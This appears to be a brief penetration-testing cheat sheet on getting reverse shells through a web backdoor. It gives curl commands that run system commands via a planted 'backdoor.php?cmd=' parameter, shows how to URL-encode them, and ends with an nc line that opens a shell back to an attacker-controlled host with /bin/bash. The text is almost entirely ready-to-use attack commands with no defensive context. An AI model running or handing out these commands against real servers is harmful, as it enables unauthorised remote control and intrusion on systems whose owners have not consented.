Reverse shells

If you can use commands through URLs, you can potentially get reverse shells

##to do this you must beable to curl a url with a cmd
curl <URL>/dir/backdoor.php?cmd=whoami

##if there are spaces within the command, the url might need to be encoded
curl <URL>/dir --data-urlencode "cmd=command to run"

##example with nc
curl <URL>/dir --data-urlencode "cmd=nc <Lhost> 666 -e /bin/bash"